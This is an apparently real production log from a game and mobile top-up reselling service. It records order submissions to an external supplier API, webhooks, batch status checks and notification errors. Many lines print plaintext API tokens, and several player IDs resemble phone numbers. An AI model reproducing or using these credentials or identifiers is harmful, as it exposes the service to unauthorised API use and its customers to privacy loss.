[2026-03-24 12:58:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:58:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"processed":1,"errors":0} 
[2026-03-24 12:58:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554,"processed":1,"errors":0} 
[2026-03-24 12:58:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"MwM95szWiy33KAnERvf9G9AswXr87hQU","execution_time":"2026-03-24 12:58:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Lcn-1774346220","operation_id":163554} 
[2026-03-24 12:58:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 7  
[2026-03-24 12:58:59] production.INFO: Constructing job for order: 178630  
[2026-03-24 12:59:00] production.INFO: Handling job for order: 178630  
[2026-03-24 12:59:00] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:59:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:59:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=8938c30c-7811-4c1e-bfac-5d63c471ab69&Player_ID=5549419942  
[2026-03-24 12:59:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=8938c30c-7811-4c1e-bfac-5d63c471ab69&Player_ID=5549419942","has_body":false} 
[2026-03-24 12:59:01] production.INFO: Operation sent successfully {"operation_id":163555,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-S5COsaK6-1774346341","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 12:59:01"}},"processed_data":{"order_number":"ORD-S5COsaK6-1774346341","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 12:59:13] production.INFO: Constructing job for order: 178631  
[2026-03-24 12:59:16] production.INFO: Handling job for order: 178631  
[2026-03-24 12:59:16] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:59:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:59:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=2d8bf0e5-6a3b-4cba-ab73-6192e16a7416&Player_ID=0941552485  
[2026-03-24 12:59:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/9/params?qty=1&uuid=2d8bf0e5-6a3b-4cba-ab73-6192e16a7416&Player_ID=0941552485","has_body":false} 
[2026-03-24 12:59:17] production.INFO: Operation sent successfully {"operation_id":163556,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wma5O5-1774346357","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:59:17"}},"processed_data":{"order_number":"ORD-wma5O5-1774346357","amount":89.7035599999999959663909976370632648468017578125,"status":"processing","product":"85 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:59:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-S5COsaK6-1774346341","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:59:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-S5COsaK6-1774346341","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:59:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:59:20] production.INFO: SendAcceptReject: Notification queued {"user_id":1771,"notification_type":"order_approved","reference_id":178630} 
[2026-03-24 12:59:20] production.INFO: Order updated successfully. Order ID: 178630, Status: completed  
[2026-03-24 12:59:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-S5COsaK6-1774346341","status":"completed","codes_count":0} 
[2026-03-24 12:59:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1771  
[2026-03-24 13:00:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03"} 
[2026-03-24 13:00:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","total_operations":1,"sites_count":1} 
[2026-03-24 13:00:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-wma5O5-1774346357"]} 
[2026-03-24 13:00:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:00:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 13:00:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 13:00:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 13:00:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"count":1} 
[2026-03-24 13:00:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"count":1} 
[2026-03-24 13:00:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"user_id":587,"notification_type":"order_approved","reference_id":178631} 
[2026-03-24 13:00:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:00:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:00:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"processed":1,"errors":0} 
[2026-03-24 13:00:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556,"processed":1,"errors":0} 
[2026-03-24 13:00:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"v33xTXr64QrPhr0mr8gWBf4KNoDCb6ot","execution_time":"2026-03-24 13:00:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wma5O5-1774346357","operation_id":163556} 
[2026-03-24 13:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:00:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 13:00:03] production.INFO: Executing GetProducts task...  
[2026-03-24 13:00:03] production.INFO: Constructing job for order: 178632  
[2026-03-24 13:00:05] production.INFO: async() رجع: true  
[2026-03-24 13:00:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 13:00:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 13:00:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 13:00:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 13:00:08] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:00:08] production.INFO: Handling job for order: 178632  
[2026-03-24 13:00:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:00:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:00:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=4d1e3434-1d52-436c-9c64-2c17dd4157ea&Player_ID=9207697740  
[2026-03-24 13:00:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=4d1e3434-1d52-436c-9c64-2c17dd4157ea&Player_ID=9207697740","has_body":false} 
[2026-03-24 13:00:09] production.INFO: Operation sent successfully {"operation_id":163557,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-brjoK-1774346409","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 13:00:09"}},"processed_data":{"order_number":"ORD-brjoK-1774346409","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 13:00:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-brjoK-1774346409","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:00:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-brjoK-1774346409","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:00:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:00:41] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178632} 
[2026-03-24 13:00:41] production.INFO: Order updated successfully. Order ID: 178632, Status: completed  
[2026-03-24 13:00:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-brjoK-1774346409","status":"completed","codes_count":0} 
[2026-03-24 13:00:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 13:01:11] production.INFO: Constructing job for order: 178633  
[2026-03-24 13:01:12] production.INFO: Handling job for order: 178633  
[2026-03-24 13:01:12] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:01:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:01:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/42/params?qty=1&uuid=b7fd4ed3-562a-4a65-b3be-018643c1f7f1&Player_ID=0995179315  
[2026-03-24 13:01:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/42/params?qty=1&uuid=b7fd4ed3-562a-4a65-b3be-018643c1f7f1&Player_ID=0995179315","has_body":false} 
[2026-03-24 13:01:13] production.INFO: Operation sent successfully {"operation_id":163558,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-N4VT-1774346473","amount":101.47539000000000442014425061643123626708984375,"status":"processing","product":"96.15 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:01:13"}},"processed_data":{"order_number":"ORD-N4VT-1774346473","amount":101.47539000000000442014425061643123626708984375,"status":"processing","product":"96.15 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:01:32] production.INFO: Constructing job for order: 178634  
[2026-03-24 13:01:34] production.INFO: Handling job for order: 178634  
[2026-03-24 13:01:34] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:01:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:01:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=b14555d9-40a7-4653-9851-9777d10afa6b&Player_ID=0968849598  
[2026-03-24 13:01:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=b14555d9-40a7-4653-9851-9777d10afa6b&Player_ID=0968849598","has_body":false} 
[2026-03-24 13:01:35] production.INFO: Operation sent successfully {"operation_id":163559,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Md0bALA-1774346495","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 13:01:35"}},"processed_data":{"order_number":"ORD-Md0bALA-1774346495","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 13:01:53] production.INFO: Constructing job for order: 178635  
[2026-03-24 13:01:56] production.INFO: Handling job for order: 178635  
[2026-03-24 13:01:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:01:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:01:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9ee080c1-4f98-4e98-91de-1ae52d9b45d0&Player_ID=52278399512  
[2026-03-24 13:01:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=9ee080c1-4f98-4e98-91de-1ae52d9b45d0&Player_ID=52278399512","has_body":false} 
[2026-03-24 13:01:57] production.INFO: Operation sent successfully {"operation_id":163560,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8lZX3aVp-1774346516","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:01:57"}},"processed_data":{"order_number":"ORD-8lZX3aVp-1774346516","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 13:02:02] production.INFO: Constructing job for order: 178636  
[2026-03-24 13:02:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03"} 
[2026-03-24 13:02:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","total_operations":3,"sites_count":2} 
[2026-03-24 13:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-N4VT-1774346473","ORD-Md0bALA-1774346495"]} 
[2026-03-24 13:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 13:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 13:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 13:02:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 13:02:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"count":2} 
[2026-03-24 13:02:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"count":2} 
[2026-03-24 13:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"user_id":587,"notification_type":"order_approved","reference_id":178634} 
[2026-03-24 13:02:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"user_id":1597,"notification_type":"order_approved","reference_id":178633} 
[2026-03-24 13:02:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 13:02:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 13:02:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"processed":2,"errors":0} 
[2026-03-24 13:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"processed":2,"errors":0} 
[2026-03-24 13:02:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"orders_count":1,"order_ids":["ORD-8lZX3aVp-1774346516"]} 
[2026-03-24 13:02:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558} 
[2026-03-24 13:02:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-N4VT-1774346473","operation_id":163558,"orders_count":1} 
[2026-03-24 13:02:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8lZX3aVp-1774346516","operation_id":163560} 
[2026-03-24 13:02:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8lZX3aVp-1774346516","operation_id":163560,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 13:02:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8lZX3aVp-1774346516","operation_id":163560,"processed":0,"errors":0} 
[2026-03-24 13:02:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2J85hD19wjTM99iNIKfSzM1OoZb20o0i","execution_time":"2026-03-24 13:02:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-8lZX3aVp-1774346516","operation_id":163560} 
[2026-03-24 13:02:03] production.INFO: Handling job for order: 178636  
[2026-03-24 13:02:03] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 13:02:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:02:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=fa506e26-29b5-491d-832a-11ec6c95e9dd&Player_ID=52278399512  
[2026-03-24 13:02:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=fa506e26-29b5-491d-832a-11ec6c95e9dd&Player_ID=52278399512","has_body":false} 
[2026-03-24 13:02:04] production.INFO: Operation sent successfully {"operation_id":163561,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eFdUDpm-1774346523","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 13:02:04"}},"processed_data":{"order_number":"ORD-eFdUDpm-1774346523","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 13:02:05] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 13:02:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8lZX3aVp-1774346516","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:02:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-8lZX3aVp-1774346516","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:02:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:02:11] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178635} 
[2026-03-24 13:02:11] production.INFO: Order updated successfully. Order ID: 178635, Status: completed  
[2026-03-24 13:02:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8lZX3aVp-1774346516","status":"completed","codes_count":0} 
[2026-03-24 13:02:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-eFdUDpm-1774346523","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 13:02:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-eFdUDpm-1774346523","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 13:02:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 13:02:11] production.INFO: SendAcceptReject: Notification queued {"user_id":949,"notification_type":"order_approved","reference_id":178636} 
[2026-03-24 13:02:11] production.INFO: Order updated successfully. Order ID: 178636, Status: completed  
[2026-03-24 13:02:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-eFdUDpm-1774346523","status":"completed","codes_count":0} 
[2026-03-24 13:02:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 13:02:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 13:02:51] production.INFO: Constructing job for order: 178637  
[2026-03-24 13:02:52] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 13:02:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 13:02:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1526  
[2026-03-24 13:02:54] production.INFO: Handling job for order: 178637  
[2026-03-24 13:02:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:02:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:02:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/815/params?qty=1&uuid=e007989d-2343-40f3-bc60-54fa204c575b&Player_ID=0988407989  
[2026-03-24 13:02:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/815/params?qty=1&uuid=e007989d-2343-40f3-bc60-54fa204c575b&Player_ID=0988407989","has_body":false} 
[2026-03-24 13:02:55] production.INFO: Constructing job for order: 178638  
[2026-03-24 13:02:55] production.INFO: Operation sent successfully {"operation_id":163562,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-oIKQ74-1774346575","amount":456.6342200000000275394995696842670440673828125,"status":"processing","product":"432.69 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 13:02:55"}},"processed_data":{"order_number":"ORD-oIKQ74-1774346575","amount":456.6342200000000275394995696842670440673828125,"status":"processing","product":"432.69 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 13:02:58] production.INFO: Handling job for order: 178638  
[2026-03-24 13:02:58] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 13:02:58] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 13:02:58] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=46f164a8-aec7-44b5-ad35-5cc1bf082fd3&Player_ID=0988407989  
